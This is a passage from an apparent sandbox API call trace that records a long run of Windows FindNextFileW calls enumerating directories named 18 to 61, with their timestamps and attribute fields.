ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="18", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="20", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="21", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="22", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="24", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="25", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="26", cAlternateFileName="")) returned 1 [0147.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="27", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="28", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="29", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="30", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="31", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="33", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="34", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="35", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="36", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="37", cAlternateFileName="")) returned 1 [0147.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="38", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="39", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="40", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="41", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="43", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="44", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="45", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="46", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="47", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="48", cAlternateFileName="")) returned 1 [0147.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="49", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="50", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="51", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="52", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="53", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="55", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="56", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="57", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58", cAlternateFileName="")) returned 1 [0147.476] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="59", cAlternateFileName="")) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="60", cAlternateFileName="")) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61", cAlternateFileName="")) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: 